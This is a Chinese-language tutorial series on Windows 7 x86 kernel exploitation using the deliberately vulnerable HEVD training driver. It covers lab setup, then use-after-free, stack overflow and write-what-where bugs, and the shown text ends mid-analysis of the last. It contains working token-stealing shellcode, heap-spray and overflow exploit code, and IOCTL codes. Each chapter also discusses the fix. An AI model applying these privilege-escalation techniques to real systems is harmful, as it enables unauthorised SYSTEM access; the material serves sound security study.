Windows-Kernel-Exploit

环境搭建

0x00:前言

这一系列文章是记录我在Windows内核漏洞学习的过程,我把他们整合成了一篇,覆盖了大部分漏洞的类型,既然是第0篇,那肯定是着重点放在环境的搭建和介绍,我的打算是先把HEVD中的大部分漏洞走一遍,实验环境是在Windows 7 x86 sp1,你需要安装的主要内容如下:

0x01:环境安装

下面我简要说一下环境的配置,配置环境是一件麻烦的事情,不同的时期会有不同的新工具和版本,我们需要的东西只是一个虚拟机,调试器和驱动加载工具,所以如果下面的方法你不能得到理想的效果,可以参考许多其他最新的文章

windbg

我们第一步需要准备的就是一个Windows7 x86 sp1的虚拟机了,虚拟机就不多解释如何安装了,当你安装好了虚拟机之后你还需要安装一个内核调试工具windbg,如果你是一个 pwn 选手,那你肯定熟悉 gdb 调试,如果你是 reverse 选手,那你肯定熟悉 OD 调试,但是我们现在是对内核调试,需要用windbg调试,建议使用windbg官方预览版,进去之后点击获取就会在微软官方应用商城下载

下载之后我们需要对符号路径进行设置,这是我自己的设置,根据自己HEVD的路径不同,选择填入自己的路径

下面是我的路径信息

1
2
3
4
5
6
C:\ Symbols
SRV*C:\MyLocalSymbols*http://msdl.microsoft.com/download/symbols

srv*C:\symbols_folder*http://msdl.microsoft.com/download/symbols
D:\kernel study\kernel base tools\HEVD\i386
SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols

VirtualKD

VirtualKD 在这里下载,下载完之后我们打开 Virtual Machine monitor ,点击 Debugger path 之后选择我们调试器的路径就可以用了

双击调试的过程动态图在这里

HEVD + OSR loader

安装之后按如下操作即可加载HEVD驱动,开启服务

准备就绪

当上面的步骤都做完时,用windbg打印lm m H*命令,点击蓝色的HEVD,再点击蓝色的Browse all global symbols,能解析出地址就说明一切准备就绪,如下图

0x02:后续

后面的文章我们会用HEVD来构造各种漏洞环境,依次在Windows 7 x86 sp1下感受Windows的pwn和Linux的有何区别,如果你不知道该准备些什么知识的时候,试着去了解一些驱动相关的知识,当然逆向的基础不能少,你需要掌握一些基本的汇编语言,准备的过程可能会出现许许多多奇怪的问题,这个时候就需要你去慢慢百度解决了,一定要有耐心,还有一些基础的工具你也需要提前准备好(IDA,VS,源码查看工具等等)

0x03:UAF

这是我总结的Windows kernel exploit系列的第一部分,前一篇我们讲了环境的配置,这一篇从简单的UAF入手,第一篇我尽量写的详细一些,实验环境是Windows 7 x86 sp1,研究内核漏洞是一件令人兴奋的事情,希望能通过文章遇到更多志同道合的朋友,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

提权原理

首先我们要明白一个道理,运行一个普通的程序在正常情况下是没有系统权限的,但是往往在一些漏洞利用中,我们会想要让一个普通的程序达到很高的权限就比如系统权限,下面做一个实验,我们在虚拟机中用普通权限打开一个cmd然后断下来,用!dml_proc命令查看当前进程的信息

1
2
3
4
5
6
7
8
9
kd> !dml_proc
Address PID Image file name
865ce8a8 4 System
87aa9970 10c smss.exe
880d4d40 164 csrss.exe
881e6200 198 wininit.exe
881e69e0 1a0 csrss.exe
...
87040ca0 bc0 cmd.exe

我们可以看到System的地址是 865ce8a8 ,cmd的地址是 87040ca0 ,我们可以通过下面的方式查看地址中的成员信息,这里之所以 +f8 是因为token的位置是在进程偏移为 0xf8 的地方,也就是Value的值,那么什么是token?你可以把它比做等级,不同的权限等级不同,比如系统权限等级是5级(最高),那么普通权限就好比是1级,我们可以通过修改我们的等级达到系统的5级权限,这也就是提权的基本原理,如果我们可以修改进程的token为系统的token,那么就可以提权成功,我们手动操作一次下面是修改前token值的对比

1
2
3
4
5
6
7
8
kd> dt nt!_EX_FAST_REF 865ce8a8+f8
+0x000 Object : 0x8a201275 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8a201275 // system token
kd> dt nt!_EX_FAST_REF 87040ca0+f8
+0x000 Object : 0x944a2c02 Void
+0x000 RefCnt : 0y010
+0x000 Value : 0x944a2c02 // cmd token

我们通过ed命令修改cmd token的值为system token

1
2
3
4
5
kd> ed 87040ca0+f8 8a201275
kd> dt nt!_EX_FAST_REF 87040ca0+f8
+0x000 Object : 0x8a201275 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8a201275

whoami命令发现权限已经变成了系统权限

1

我们将上面的操作变为汇编的形式如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid

// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}

解释一下上面的代码,fs寄存器在Ring0中指向一个称为KPCR的数据结构,即FS段的起点与 KPCR 结构对齐,而在Ring0中fs寄存器一般为0x30,这样fs:[124]就指向KPRCB数据结构的第四个字节。由于 KPRCB 结构比较大,在此就不列出来了。查看其数据结构可以看到第四个字节指向CurrentThead(KTHREAD类型)。这样fs:[124]其实是指向当前线程的_KTHREAD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB

再来看看_EPROCESS的结构,+0xb8处是进程活动链表,用于储存当前进程的信息,我们通过对它的遍历,可以找到system的token,我们知道system的PID一直是4,通过这一点我们就可以遍历了,遍历到系统token之后替换就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
...
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

UAF原理

如果你是一个pwn选手,那么肯定很清楚UAF的原理,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制,Windows下的内存申请也是有规律的,我们知道ExAllocatePoolWithTag函数中申请的内存并不是胡乱申请的,操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话,在源码中你会发现在UseUaFObject中存在g_UseAfterFreeObject->Callback();的片段,如果我们将Callback覆盖为shellcode就可以提权了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;

PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;

NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;

PAGED_CODE();

__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");

if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); // g_UseAfterFreeObject->shellcode();
}

Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

0x02:漏洞利用

利用思路

如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。但是这里有个问题,我们电脑中有许许多多的空闲内存,如果我们只构造一块假堆,我们并不能保证刚好能够用到我们的这块内存,所以我们就需要构造很多个这种堆,换句话说就是堆海战术吧,如果你看过0day安全这本书,里面说的堆喷射也就是这个原理。

利用代码

根据上面我们已经得到提权的代码,相当于我们只有子弹没有枪,这样肯定是不行的,我们首先伪造环境

1
2
3
4
5
6
7
8
9
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;

PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

接下来我们进行堆喷射

1
2
3
4
5
for (int i = 0; i < 5000; i++)
{
// 调用 AllocateFakeObject() 对象
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}

你可能会疑惑上面的IO控制码是如何得到的,这是通过逆向分析IrpDeviceIoCtlHandler函数得到的,我们通过DeviceIoControl函数实现对驱动中函数的调用,下面原理相同

1
2
3
4
// 调用 UseUaFObject() 函数
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);

最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功

1
2
3
4
5
6
7
8
9
10
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

上面是主要的代码,详细的代码参考这里,最后提权成功

0x03:补丁思考

对于 UseAfterFree 漏洞的修复,如果你看过我写的一篇pwn-UAF入门的话,补丁的修复就很明显了,我们漏洞利用是在 free 掉了对象之后再次对它的引用,如果我们增加一个条件,判断对象是否为空,如果为空则不调用,那么就可以避免 UseAfterFree 的发生,而在FreeUaFObject()函数中指明了安全的措施,我们只需要把g_UseAfterFreeObject置为NULL

1
2
3
4
5
6
7
8
9
10
11
12
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

下面是在UseUaFObject()函数中的修复方案:

1
2
3
4
5
6
if(g_UseAfterFreeObject != NULL)
{
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}

0x04:Stack-Overflow

这是 Windows kernel exploit 系列的第二部分,前一篇我们讲了UAF的利用,这一篇我们通过内核空间的栈溢出来继续深入学习 Windows Kernel exploit ,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

栈溢出原理

栈溢出是系列漏洞中最为基础的漏洞,如果你是一个 pwn 选手,第一个学的就是简单的栈溢出,栈溢出的原理比较简单,我的理解就是用户对自己申请的缓冲区大小没有一个很好的把控,导致缓冲区作为参数传入其他函数的时候可能覆盖到了不该覆盖的位置,比如 ebp,返回地址等,如果我们精心构造好返回地址的话,程序就会按照我们指定的流程继续运行下去,原理很简单,但是实际用起来并不是那么容易的,在Windows的不断更新过程中,也增加了许多对于栈溢出的安全保护机制。

漏洞点分析

我们在IDA中打开源码文件StackOverflow.c源码文件这里下载查看一下主函数TriggerStackOverflow,这里直接将 Size 传入memcpy函数中,未对它进行限制,就可能出现栈溢出的情况,另外,我们可以发现 KernelBuffer 的 Size 是 0x800

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size)
{
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

KernelBuffer[0] = 0;
memset(&KernelBuffer[1], 0, 0x7FCu);
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}

我们现在差的就是偏移了,偏移的计算是在windbg中调试得到的,我们需要下两处断点来找偏移,第一处是在TriggerStackOverflow函数开始的地方,第二处是在函数中的memcpy函数处下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kd> bl  //查看所有断点
0 e Disable Clear 8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f
1 e Disable Clear 8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow
kd> g //运行
Breakpoint 1 hit //断在了第一处
HEVD!TriggerStackOverflow:
8c6d162a 680c080000 push 80Ch
kd> r //查看寄存器
eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948
eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:
8c6d162a 680c080000 push 80Ch
kd> dd esp //查看堆栈情况
91a03ad4 8c6d1718 0032f018 00000907 91a03afc
91a03ae4 8c6d2185 886ad948 886ad9b8 86736268
91a03af4 88815378 00000000 91a03b14 83e84593
91a03b04 88815378 886ad948 886ad948 88815378
91a03b14 91a03b34 8407899f 86736268 886ad948
91a03b24 886ad9b8 00000094 04a03bac 91a03b44
91a03b34 91a03bd0 8407bb71 88815378 86736268
91a03b44 00000000 91a03b01 44c7b400 00000002

上面的第一处断点可以看到返回地址是0x91a03ad4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kd> g
Breakpoint 0 hit
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)
kd> dd esp
91a03274 91a032b4 0032f018 00000907 8c6d25be
91a03284 8c6d231a 00000800 8c6d2338 91a032b4
91a03294 8c6d23a2 00000907 8c6d23be 0032f018
91a032a4 1dcd205c 886ad948 886ad9b8 8c6d2da2
91a032b4 00000000 00000000 00000000 00000000
91a032c4 00000000 00000000 00000000 00000000
91a032d4 00000000 00000000 00000000 00000000
91a032e4 00000000 00000000 00000000 00000000
kd> r
eax=91a032b4 ebx=8c6d2da2 ecx=0032f018 edx=00000065 esi=00000800 edi=00000000
eip=8c6d16b9 esp=91a03274 ebp=91a03ad0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)

上面的第二处断点可以看到0x91a032b4是我们memcpy的第一个参数,也就是KernelBuffer,我们需要覆盖到返回地址也就是偏移为 0x820

1
2
>>> hex(0x91a03ad4-0x91a032b4)
'0x820'

0x02:漏洞利用

利用思路

知道了偏移,我们只需要将返回地址覆盖为我们的shellcode的位置即可提权,提权的原理我在第一篇就有讲过,需要的可以参考我的第一篇,只是这里提权的代码需要考虑到栈的平衡问题,在TriggerStackOverflow函数开始的地方,我们下断点观察发现,ebp的值位置在91a3bae0,也就是值为91a3bafc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000 push 80Ch
kd> r
eax=c0000001 ebx=8c6d2da2 ecx=00000824 edx=001ef230 esi=885c5528 edi=885c54b8
eip=8c6d162a esp=91a3bad4 ebp=91a3bae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000 push 80Ch
kd> dd esp
91a3bad4 8c6d1718 001ef230 00000824 (91a3bafc) => ebp
91a3bae4 8c6d2185 885c54b8 885c5528 88573cc0
91a3baf4 88815378 00000000 91a3bb14 83e84593
91a3bb04 88815378 885c54b8 885c54b8 88815378
91a3bb14 91a3bb34 8407899f 88573cc0 885c54b8
91a3bb24 885c5528 00000094 04a3bbac 91a3bb44
91a3bb34 91a3bbd0 8407bb71 88815378 88573cc0
91a3bb44 00000000 83ede201 00023300 00000002

当我们进入shellcode的时候,我们的ebp被覆盖为了0x41414141,为了使堆栈平衡,我们需要将ebp重新赋值为97a8fafc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kd> 
Break instruction exception - code 80000003 (first chance)
StackOverflow!ShellCode+0x3:
0008:012c1003 cc int 3
kd> r
eax=00000000 ebx=8c6d2da2 ecx=8c6d16f2 edx=00000000 esi=885b5360 edi=885b52f0
eip=012c1003 esp=97a8fad4 ebp=41414141 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282
StackOverflow!ShellCode+0x3:
0008:012c1003 cc int 3
kd> dd esp
97a8fad4 885b52f0 885b5360 8c6d2da2 97a8fafc
97a8fae4 8c6d2185 885b52f0 885b5360 88573cc0
97a8faf4 88815378 00000000 97a8fb14 83e84593
97a8fb04 88815378 885b52f0 885b52f0 88815378
97a8fb14 97a8fb34 8407899f 88573cc0 885b52f0
97a8fb24 885b5360 00000094 04a8fbac 97a8fb44
97a8fb34 97a8fbd0 8407bb71 88815378 88573cc0
97a8fb44 00000000 83ede201 00023300 00000002

利用代码

利用思路中,我们介绍了为什么要堆栈平衡,下面是具体的shellcode部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
VOID ShellCode()
{
//__debugbreak(); // 运行到这里程序会自动断下来等待windbg的调试
__asm
{
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h]
mov eax, [eax + 050h]
mov ecx, eax
mov edx, 4

find_sys_pid :
mov eax, [eax + 0b8h]
sub eax, 0b8h
cmp[eax + 0b4h], edx
jnz find_sys_pid

mov edx, [eax + 0f8h]
mov[ecx + 0f8h], edx
popad
pop ebp
ret 8
}
}

构造并调用shellcode部分

1
2
3
4
char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x222003, buf, 0x824,NULL,0,&bReturn,NULL);

具体的代码参考这里,最后提权成功

0x03:补丁思考

我们先查看源文件 StackOverflow.c 中补丁的措施,区别很明显,不安全版本的RtlCopyMemory函数中的第三个参数没有进行控制,直接将用户提供的 Size 传到了函数中,安全的补丁就是对RtlCopyMemory的参数进行严格的设置

1
2
3
4
5
6
7
8
9
10
11
12
13
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

0x05:Write-What-Where

这是 Windows kernel exploit 系列的第三部分,前一篇我们讲了内核栈溢出的利用,这一篇我们介绍任意内存覆盖漏洞,也就是 Write-What-Where 漏洞,和前面一样,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

任意内存覆盖漏洞

从 IDA 中我们直接分析HEVD.sys中的TriggerArbitraryOverwrite函数,乍一看没啥毛病,仔细分析发现v1,v2这俩指针都没有验证地址是否有效就直接拿来用了,这是内核态,给点面子好吧,胡乱引用可以要蓝屏的(严肃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned int *v1; // edi
unsigned int *v2; // ebx

ProbeForRead(UserWriteWhatWhere, 8u, 4u);
v1 = UserWriteWhatWhere->What;
v2 = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", v1);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", v2);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*v2 = *v1;
return 0;
}

我们从ArbitraryOverwrite.c源码文件入手,直接定位关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");

// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);

如果你不清楚ProbeForRead函数的话,这里可以得到很官方的解释(永远记住官方文档是最好的),就是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐,相当于检查一块内存是否正确。

1
2
3
4
5
void ProbeForRead(
const volatile VOID *Address,
SIZE_T Length,
ULONG Alignment
);

和我们设想的一样,从刚才上面的对比处可以很清楚的看出,在安全的条件下,我们在使用两个指针的时候对指针所指向的地址进行了验证,如果不对地址进行验证,在内核空间中访问到了不该访问的内存那很可能就会蓝屏,通过这一点我们就可以利用,既然是访问内存,那我们让其访问我们shellcode的位置即可达到提权的效果,那么怎么才能访问到我们的shellcode呢?

0x02:漏洞利用

利用原理

控制码

知道了漏洞的原理之后我们开始构造exploit,前面我们通过分析IrpDeviceIoCtlHandler函数可以逆向出每个函数对应的控制码,然而这个过程我们可以通过分析HackSysExtremeVulnerableDriver.h自己计算出控制码,源码中的定义如下

1
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

下面解释一下如何计算控制码,CTL_CODE这个宏负责创建一个独特的系统I/O(输入输出)控制代码(IOCTL),计算公式如下

1
2
3
#define xxx_xxx_xxx CTL_CODE(DeviceType, Function, Method, Access)

( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))

通过python我们就可以计算出控制码(注意对应好位置)

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
'0x22200b'

因为WRITE_WHAT_WHERE结构如下,一共有8个字节,前四个是 what ,后四个是 where ,所以我们申请一个buf大小为8个字节传入即可用到 what 和 where 指针

1
2
3
4
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

下面我们来测试一下我们的猜测是否正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<Windows.h>

int main()
{
char buf[8];
DWORD recvBuf;
// 获取句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("Failed to get HANDLE!!!\n");
return 0;
}

memset(buf, 'A', 8);
DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL);

return 0;
}

在 windbg 中如果不能显示出 dbgprint 中内容的话输入下面的这条命令即可显示

1
ed nt!Kd_DEFAULT_Mask 8

我们运行刚才生成的程序,如我们所愿,这里已经成功调用了ArbitraryOverwriteIoctlHandler函数并且修改了 What 和 Where 指针

1
2
3
4
5
6
7
8
9
10
kd> ed nt!Kd_DEFAULT_Mask 8
kd> g
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0019FC90
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x41414141
[+] UserWriteWhatWhere->Where: 0x41414141
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******

当然我们不能只修改成0x41414141,我们所希望的是把what指针覆盖为shellcode的地址,where指针修改为能指向shellcode地址的指针

Where & What 指针

这里的where指针我们希望能够覆盖到一个安全可靠的地址,我们在windbg中反编译一下NtQueryIntervalProfile+0x62这个位置

1
2
3
4
5
6
7
8
9
10
kd> u nt!NtQueryIntervalProfile+0x62
nt!NtQueryIntervalProfile+0x62:
84159ecd 7507 jne nt!NtQueryIntervalProfile+0x6b (84159ed6)
84159ecf a1ac7bf783 mov eax,dword ptr [nt!KiProfileInterval (83f77bac)]
84159ed4 eb05 jmp nt!NtQueryIntervalProfile+0x70 (84159edb)
84159ed6 e83ae5fbff call nt!KeQueryIntervalProfile (84118415)
84159edb 84db test bl,bl
84159edd 741b je nt!NtQueryIntervalProfile+0x8f (84159efa)
84159edf c745fc01000000 mov dword ptr [ebp-4],1
84159ee6 8906 mov dword ptr [esi],eax

上面可以发现,0x84159ed6这里会调用到一个函数KeQueryIntervalProfile,我们继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
2: kd> u KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
840cc415 8bff mov edi,edi
840cc417 55 push ebp
840cc418 8bec mov ebp,esp
